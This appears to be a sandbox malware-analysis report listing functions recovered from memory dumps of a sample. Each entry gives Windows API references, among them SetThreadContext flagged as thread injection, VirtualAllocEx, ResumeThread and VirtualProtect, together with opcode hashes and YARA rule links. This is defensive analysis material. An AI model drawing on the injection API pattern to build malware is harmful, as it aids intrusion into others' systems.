Uniqueness Score: -1.00%

Function 06AA1831 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

SetKernelObjectSecurity.KERNELBASE(?,?,00000000), ref: 06AA18B6

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID: KernelObjectSecurity
String ID:
API String ID: 3015937269-0
Opcode ID: e24e3f15e21bfe90d530a2b5f7d0a72521800eea5bb8cb28903511f3b86f7e85
Instruction ID: b4d07883ff712c4fde4414747769a63bc2cbc05ff5b8733416851cee1b665cb4
Opcode Fuzzy Hash: e24e3f15e21bfe90d530a2b5f7d0a72521800eea5bb8cb28903511f3b86f7e85
Instruction Fuzzy Hash: B52139B5D002099FDB10CFA9C585BEEBBF4EF48314F14852AD419A7340D778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AAC528 Relevance: 1.6, APIs: 1, Instructions: 63threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 06AAC5A6

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 39a5aae8b2925b3795568e2a7be0c87ed86b240c6b7067ab059f1c033670cef4
Instruction ID: f9a3cf6369db4e0656d2363b1ecdccfb0f8f68d6e282572227927ced899a4dd8
Opcode Fuzzy Hash: 39a5aae8b2925b3795568e2a7be0c87ed86b240c6b7067ab059f1c033670cef4
Instruction Fuzzy Hash: 86213871D003099FDB50DFAAC4847EEBBF5EF48324F54882AD419A7240DB78AA44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AA1838 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

SetKernelObjectSecurity.KERNELBASE(?,?,00000000), ref: 06AA18B6

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID: KernelObjectSecurity
String ID:
API String ID: 3015937269-0
Opcode ID: 6ea177be8877fda827f60a72fcf89de248a005a9ddc6372bff320b24df03a439
Instruction ID: c7bb3b5177a0218502e1a3e58aee353553d36fdc9c40e4f59673a4345604d90c
Opcode Fuzzy Hash: 6ea177be8877fda827f60a72fcf89de248a005a9ddc6372bff320b24df03a439
Instruction Fuzzy Hash: 172127B5D002099FCB10DFAAC585BEEBBF4EB48324F54882AD419A7340D778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 017701C8 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(00000000,00000000,?,?), ref: 01770FEB

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c158be5ee89afc3dbcba08ecf124b9a32d9ded68ad19acc1b17e8e728a6cc9a0
Instruction ID: 6b0d1079ebf5d0da02a049299f3eae66a31f910eebb104d8b65d52cd1350d1d0
Opcode Fuzzy Hash: c158be5ee89afc3dbcba08ecf124b9a32d9ded68ad19acc1b17e8e728a6cc9a0
Instruction Fuzzy Hash: A6211A759002499FCB10CF9AC484BDEFBF4FB48324F54842AE558A7650D374A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01770F70 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(00000000,00000000,?,?), ref: 01770FEB

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 7b6b23eebe942d7c3c246bf1a73731c2d44ce858c1a9884da1cf49e06a90a4eb
Instruction ID: bdfa45cd89325ebdb02b220c48a4fb66037f37dfaa3012d223310a1b6d946068
Opcode Fuzzy Hash: 7b6b23eebe942d7c3c246bf1a73731c2d44ce858c1a9884da1cf49e06a90a4eb
Instruction Fuzzy Hash: 272106759002499FCB10CFAAC584BDEFBF5FB48320F14842AE458B7650D378A644CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AAC881 Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06AAC8F6

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3180c11790c5e39c336897512bace987a9ac3fba34264fcf89cdb69aac2b23ea
Instruction ID: 81d46c349dab88f4f9ac6b786b81e7fc8f40b3cd2c992bd9405865e4bce92650
Opcode Fuzzy Hash: 3180c11790c5e39c336897512bace987a9ac3fba34264fcf89cdb69aac2b23ea
Instruction Fuzzy Hash: 2C1147759003499FDB10DFA9C844BDFBBF9AF48324F14881AE919A7250C735A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AAC888 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06AAC8F6

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fc1cf8ab6b287298c8c7f70048c7c295c8296046349f258b66ea2e4cb5214b19
Instruction ID: 4b41b95322a92a62a49cc7a167c2c2c20a87701655239d15b1b3278e89a69bc4
Opcode Fuzzy Hash: fc1cf8ab6b287298c8c7f70048c7c295c8296046349f258b66ea2e4cb5214b19
Instruction Fuzzy Hash: 861123769003499BCB10DFA9C844BEFBBF9EB48324F14882AE519A7250C775A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AACD40 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06AACDAA

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 63181137bde0883c2bd8160ff3d97386618120a477fc08d72de05efc3952b0ad
Instruction ID: 7bc450e28aae28b39c69135937461fbcc50907a8b1cc0411a407fe3200363135
Opcode Fuzzy Hash: 63181137bde0883c2bd8160ff3d97386618120a477fc08d72de05efc3952b0ad
Instruction Fuzzy Hash: 4D1149B1D003488BDB14DFA9C8457DFFBF9AB88324F14882AC515A7640C779A944CF95

Uniqueness

Uniqueness Score: -1.00%

Function 06AACD48 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06AACDAA

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 75e4e2c080c9e9d71aaf47ecc591ff856617fe49ea1724e1a8793b65caa04e03
Instruction ID: d3481e08484b66ea16fe8b189e3d3b26c4bf1a47d53ac523fc4553f0bd1a7b21
Opcode Fuzzy Hash: 75e4e2c080c9e9d71aaf47ecc591ff856617fe49ea1724e1a8793b65caa04e03
Instruction Fuzzy Hash: 36113A75D003088BDB14DFA9C4447DFFBF9AB88324F14882AC519B7640C775A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 06AABE28 Relevance: 15.2, Strings: 12, Instructions: 219COMMON

Download Yara Rule

Strings

i;%o, xrefs: 06AAC08D
y`.o, xrefs: 06AAC0F8
w;%o, xrefs: 06AABF96
v;%o, xrefs: 06AAC017
j;%o, xrefs: 06AABE49
u;%o, xrefs: 06AABE8B
f`.o, xrefs: 06AAC0F1
p45o, xrefs: 06AABF63
s45o, xrefs: 06AABF6A
q;%o, xrefs: 06AAC063
u;%o, xrefs: 06AAC05C
t;%o, xrefs: 06AAC01E

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID: f`.o$i;%o$j;%o$p45o$q;%o$s45o$t;%o$u;%o$u;%o$v;%o$w;%o$y`.o
API String ID: 0-3406674395
Opcode ID: ee20880c01d433ecf757169d7e9d7b4290ff472de1561df31a3a2ee573cb1dd9
Instruction ID: 49bde7bd1b7d1a3aa544a6a3830c74a1f9d45af9c9f1c1691500f11f70c23d5b
Opcode Fuzzy Hash: ee20880c01d433ecf757169d7e9d7b4290ff472de1561df31a3a2ee573cb1dd9
Instruction Fuzzy Hash: C061E1B1F103258FE788AAA9DD6527E65E39BC8610F19942BE403EF344DB758C118BE0

Uniqueness

Uniqueness Score: -1.00%

Function 06AABE18 Relevance: 10.2, Strings: 8, Instructions: 226COMMON

Download Yara Rule

Strings

i;%o, xrefs: 06AAC08D
w;%o, xrefs: 06AABF96
v;%o, xrefs: 06AAC017
j;%o, xrefs: 06AABE49
u;%o, xrefs: 06AABE8B
f`.o, xrefs: 06AAC0F1
p45o, xrefs: 06AABF63
u;%o, xrefs: 06AAC05C

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID: f`.o$i;%o$j;%o$p45o$u;%o$u;%o$v;%o$w;%o
API String ID: 0-863800063
Opcode ID: fa00fe2939872e5e4b5185f3adfccd0bfd50d7c630a0d44fb22bfc2508e43654
Instruction ID: cb998619a0c9b7dd7cfdfe02d1a41ee6123dd2589f47406c775fec387f0e45de
Opcode Fuzzy Hash: fa00fe2939872e5e4b5185f3adfccd0bfd50d7c630a0d44fb22bfc2508e43654
Instruction Fuzzy Hash: 65610675F143258FE788AA69DC552BE76E39B88210F19942BE413EF380DB758C018BE0

Uniqueness

Uniqueness Score: -1.00%

Function 06AA19A1 Relevance: 2.8, Strings: 2, Instructions: 272COMMON

Download Yara Rule

Strings

IBl, xrefs: 06AA1B4E
`~>l, xrefs: 06AA1B99

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID: `~>l$IBl
API String ID: 0-3926603690
Opcode ID: 5dbe30cf750c96fa3c121410e4e550694ba87e49badc551c163f0bcf84b6109a
Instruction ID: 526eceb088439c16b88bd8c6ba79342c4e8056da2781b8bd0be1c3b6d6725404
Opcode Fuzzy Hash: 5dbe30cf750c96fa3c121410e4e550694ba87e49badc551c163f0bcf84b6109a
Instruction Fuzzy Hash: 1F910176F042199BD754DFA9D8516AEBAF7ABC8310F19813BD902EF344EB349C068781

Uniqueness

Uniqueness Score: -1.00%

Function 06AA19D8 Relevance: 2.8, Strings: 2, Instructions: 252COMMON

Download Yara Rule

Strings

IBl, xrefs: 06AA1B4E
`~>l, xrefs: 06AA1B99

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID: `~>l$IBl
API String ID: 0-3926603690
Opcode ID: 885b0cfb9772eb1a9f7c4e9acc51b06a6444b4c2414dea4c4cebb46ff0fbb2d2
Instruction ID: 2444e171467f8c0238d093699fcf401fbbbeaebd32d1f85fc0f6e8bea717c04c
Opcode Fuzzy Hash: 885b0cfb9772eb1a9f7c4e9acc51b06a6444b4c2414dea4c4cebb46ff0fbb2d2
Instruction Fuzzy Hash: BA810476F042289BD754DFA9D8542ADB6F7ABC8310F19913BD902EF344EB349D068B81

Uniqueness

Uniqueness Score: -1.00%

Function 06AA4540 Relevance: 1.4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

O, xrefs: 06AA454C

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID: O
API String ID: 0-878818188
Opcode ID: e8e63ad091e3363bb9aa23b367ee27947cd53c77d138d555f86d3db711ed2146
Instruction ID: 7cdee2d01036b7859c97fa234c4cc7f3753134227df108632685ec6feddb34ed
Opcode Fuzzy Hash: e8e63ad091e3363bb9aa23b367ee27947cd53c77d138d555f86d3db711ed2146
Instruction Fuzzy Hash: 074122327002468BDB04DA78CD195EEBBE7EFC93107199629E55ADB399EF348D038750

Uniqueness

Uniqueness Score: -1.00%

Function 06AA6648 Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33f60f2d3dcec1f515a00d001ea85ff28ce2a6fb4ab8be0c95d39b1f42e868bd
Instruction ID: 2d9050de4e8adc5e676702d77c2aa05f061239e711a1d43be2c2b757f8d75d2c
Opcode Fuzzy Hash: 33f60f2d3dcec1f515a00d001ea85ff28ce2a6fb4ab8be0c95d39b1f42e868bd
Instruction Fuzzy Hash: 16B11971F402148FD748DEA8DD916ADB6F3BBC8314B19952BE50BEB390DA74DC028B81

Uniqueness

Uniqueness Score: -1.00%

Function 06AA66A0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9f6204275507d4ad19e97ad112d7f9b892da2a087fcb1c70d9d8d467386798c
Instruction ID: f8b25c5151fc68c91866aec3731fd4fe8d0d69d1510e9d9d296b966b242e1832
Opcode Fuzzy Hash: a9f6204275507d4ad19e97ad112d7f9b892da2a087fcb1c70d9d8d467386798c
Instruction Fuzzy Hash: 1FB11871F402148FD748DEA8DD556AEB6F3BBC8314B19552BE90AEB390DA74DC028B81

Uniqueness

Uniqueness Score: -1.00%

Function 06AA6690 Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8798e0ac8d32684d71caaba54c79e47ad2e8d48c46d3e34888b883cb27b52cfb
Instruction ID: aeebbe26e7bb28e04f847eeaaf3d09ded1b007f0dadec1a58b77a60641af1d0f
Opcode Fuzzy Hash: 8798e0ac8d32684d71caaba54c79e47ad2e8d48c46d3e34888b883cb27b52cfb
Instruction Fuzzy Hash: 4AB12971F402148FD748DEA8DD556ADB6F3FBC8310B19952BE90AEB390DA74DC028B81

Uniqueness

Uniqueness Score: -1.00%

Function 0177F939 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01ce4a2bb8f4620fac69d6c17815cf7d7eb083b0065d64c8e65adbbe70cb7c04
Instruction ID: 2c5557b6b777ab5d602a83b7a28124f3f811aea563810665052c9cdbe0d99eda
Opcode Fuzzy Hash: 01ce4a2bb8f4620fac69d6c17815cf7d7eb083b0065d64c8e65adbbe70cb7c04
Instruction Fuzzy Hash: 7E814B33F112604FDB04DA78DD162BA76D39BD9310759C16ADC1ADB389EA74CE0287C1

Uniqueness

Uniqueness Score: -1.00%

Function 0177F971 Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87da48602b3b81b6932b0aec273d107d0514ebf45d9b465fc12ab028e853b98f
Instruction ID: d98c0ba0bf8fd7c5e40f56369dccc6d344605eff0b780b06002008f18bbfca37
Opcode Fuzzy Hash: 87da48602b3b81b6932b0aec273d107d0514ebf45d9b465fc12ab028e853b98f
Instruction Fuzzy Hash: FE716933F512604FDB08D978DD1A27A72D39BE921075DC16ADC1AEB389EA74CE0287C1

Uniqueness

Uniqueness Score: -1.00%

Function 0177F0F1 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dc2eae9b21304f4a00625afa5375277656a66abf565ed086b6b78f0b28dba5e
Instruction ID: 3674576810c3e232a6a275fd835c7071b1f63477fa3358e6c04387df5ab1c5a6
Opcode Fuzzy Hash: 6dc2eae9b21304f4a00625afa5375277656a66abf565ed086b6b78f0b28dba5e
Instruction Fuzzy Hash: 78715C76F902254BCB04CEB9DD455AFB6E76BCC610759D626E806EF348DA78CD0287C0

Uniqueness

Uniqueness Score: -1.00%

Function 0177F9A0 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50f6cf8888fd209a490a48dfced26e50ba150caaa1884279452f2181b339ad77
Instruction ID: ba318be25cfda51959f86716a44f02e8f4f04d5ed59858cbdcad000a3491d6b0
Opcode Fuzzy Hash: 50f6cf8888fd209a490a48dfced26e50ba150caaa1884279452f2181b339ad77
Instruction Fuzzy Hash: 60713833F512614FDB08D978DD1A27A72D39BE861075DC166EC1AEB389EA74CE0287C1

Uniqueness

Uniqueness Score: -1.00%

Function 0177F120 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 966666fdf667dae8b1f9f381a6404bc9ebc3fb473b42fb844e20e4b81540cf50
Instruction ID: 46204bf136659b8ad8f4ce96faee0ae9356d94e272c8499bf240b5e087236674
Opcode Fuzzy Hash: 966666fdf667dae8b1f9f381a6404bc9ebc3fb473b42fb844e20e4b81540cf50
Instruction Fuzzy Hash: 0F714B7AF902254BCB14CEB9DC451AEB6E7ABCC620755D626E806FF348D978CD0247C0

Uniqueness

Uniqueness Score: -1.00%

Function 0177F1BA Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6737f4ecff328b9daba26fcb8b5bc8a983a27e96adc074f560838fa2fbd485d
Instruction ID: e0c7455bd1f2ad8ab5f2d4569693e182f1278c95a0842ba4f92cba5db736118e
Opcode Fuzzy Hash: e6737f4ecff328b9daba26fcb8b5bc8a983a27e96adc074f560838fa2fbd485d
Instruction Fuzzy Hash: D771173AF902254BCB14CAB9DD455AEA2E76BCC610719D626E816EF748DE78CD0247C0

Uniqueness

Uniqueness Score: -1.00%

Function 0177F160 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3222ab33e0d67337c1b90a950a6423d29ccedbf052c18d6e4c4d4803bace87f
Instruction ID: 768c13081a31c67fbbc11fe3d9a5651aaef9c4a7c4781bd547e8fd17821f80e8
Opcode Fuzzy Hash: c3222ab33e0d67337c1b90a950a6423d29ccedbf052c18d6e4c4d4803bace87f
Instruction Fuzzy Hash: 8471367AF902254BCB14CAB9DD452AEA1E75BCC610719D626E816EF748ED78CD0247C0

Uniqueness

Uniqueness Score: -1.00%

Function 0177F512 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41fb9b8c93b40ba941bd2b1c5c61e3b8d5fec043fc81078bcf01267956abe7b1
Instruction ID: a4730b398dd5f15aa6a2348b2791a42a9f7cc9e7e700fa793c3caa43f6559676
Opcode Fuzzy Hash: 41fb9b8c93b40ba941bd2b1c5c61e3b8d5fec043fc81078bcf01267956abe7b1
Instruction Fuzzy Hash: 3861477AF902354BCB14CAB9DD452AEB2E76BCC620719D626E816EF348DD78CD0247C0

Uniqueness

Uniqueness Score: -1.00%

Function 0177F1A2 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e84447117242b84b323e556694cdf7685f5a72fab6e62f34ea1850f52400e1d0
Instruction ID: a0a23efd46ca255b3e79aa72682b38efb8c0acd1f6c770de3dde9b9f42637ea8
Opcode Fuzzy Hash: e84447117242b84b323e556694cdf7685f5a72fab6e62f34ea1850f52400e1d0
Instruction Fuzzy Hash: 9161377AF902354BCB14CAB9DD451AEA2EB6BCC620719D626E816FF748DD78CD0247C0

Uniqueness

Uniqueness Score: -1.00%

Function 0177F1FC Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.317042030.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e30327e62c5c65d1e7b8d181cb6e4a81efd4e09e15e22c4e59cbffd5d2453eb8
Instruction ID: 3e5a8403f5067410fc912983585e0ea675c8a361cc0b584a4a00e928dcbf00bb
Opcode Fuzzy Hash: e30327e62c5c65d1e7b8d181cb6e4a81efd4e09e15e22c4e59cbffd5d2453eb8
Instruction Fuzzy Hash: 7161257AF902354BCB14CAB9DD451AEA2EB6BCC620719D626E816FF748DD78CD0247C0

Uniqueness

Uniqueness Score: -1.00%

Function 06AA59E8 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21bf0fb278bb6e4911420d3e662057f34640973dfcbb1e0c520c516ff13a2439
Instruction ID: fb80a7d67e2e3605473cebeda529b4a34dfd2df6d5b93f46c7a360295a8e2bcb
Opcode Fuzzy Hash: 21bf0fb278bb6e4911420d3e662057f34640973dfcbb1e0c520c516ff13a2439
Instruction Fuzzy Hash: 38510B7AF502388BDB04CEA9CC912AA76F37BCC310B09956BD815FB344DA788C014BD4

Uniqueness

Uniqueness Score: -1.00%

Function 06AA59F8 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8a5b1c602f77339ca37a13b0d28c33438bc376b35dcc4c89a4ead708ebb9b9a
Instruction ID: d39330e97fe658fa0007f268e806d8c149f5165630d2a6a732ba66388ac4ddb6
Opcode Fuzzy Hash: f8a5b1c602f77339ca37a13b0d28c33438bc376b35dcc4c89a4ead708ebb9b9a
Instruction Fuzzy Hash: F551F97AF512388BDB54CEA9CC911AEB6F7BBCC310B05952AD915FB344EA788C014BD4

Uniqueness

Uniqueness Score: -1.00%

Function 06AA6B1B Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3376cff626e03f323850d40836554d991349cc7b1e8322a33b768b8e24f29a49
Instruction ID: 0212bf74f3f3643bbaf0c980cdd54f9fdc2cd36404a31246e845e9623eb081c4
Opcode Fuzzy Hash: 3376cff626e03f323850d40836554d991349cc7b1e8322a33b768b8e24f29a49
Instruction Fuzzy Hash: BE51BF71F502148FD748DBA8E8A56ADB6B3FB89304B18912BE50BDB351DB359C128F81

Uniqueness

Uniqueness Score: -1.00%

Function 06AA4570 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.320913948.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6aa0000_qpwx2wT5ky.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ef3238938b0e5393011a34ff26f063109b5dd4cf8b155e3e79671ea74eedb85
Instruction ID: 1608684185d79667301b586719d18d2cb72ac485bb72451c301c684f954cd123
Opcode Fuzzy Hash: 1ef3238938b0e5393011a34ff26f063109b5dd4cf8b155e3e79671ea74eedb85
Instruction Fuzzy Hash: 1631F0367002058BDB08DAB9CD1859EB6EBEFC82147569524E61ADF748EF748D028790

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: LaunchWinApp.exePID: 5980, Parent PID: 6428COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	45.7%
Total number of Nodes:	1922
Total number of Limit Nodes:	8

Executed Functions

Function 0042B39F Relevance: 208.7, APIs: 41, Strings: 74, Instructions: 7457threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042B3A4
CoInitialize.OLE32(00000000), ref: 0042B3C0
GetUserDefaultLCID.KERNEL32(00001001,?,000000FF), ref: 0042B3E9
GetLocaleInfoA.KERNEL32(00000000), ref: 0042B3F0

Part of subcall function 00415C44: __EH_prolog.LIBCMT ref: 00415C49

Sleep.KERNEL32(00000DAC,0047AC6B), ref: 0042BAD3
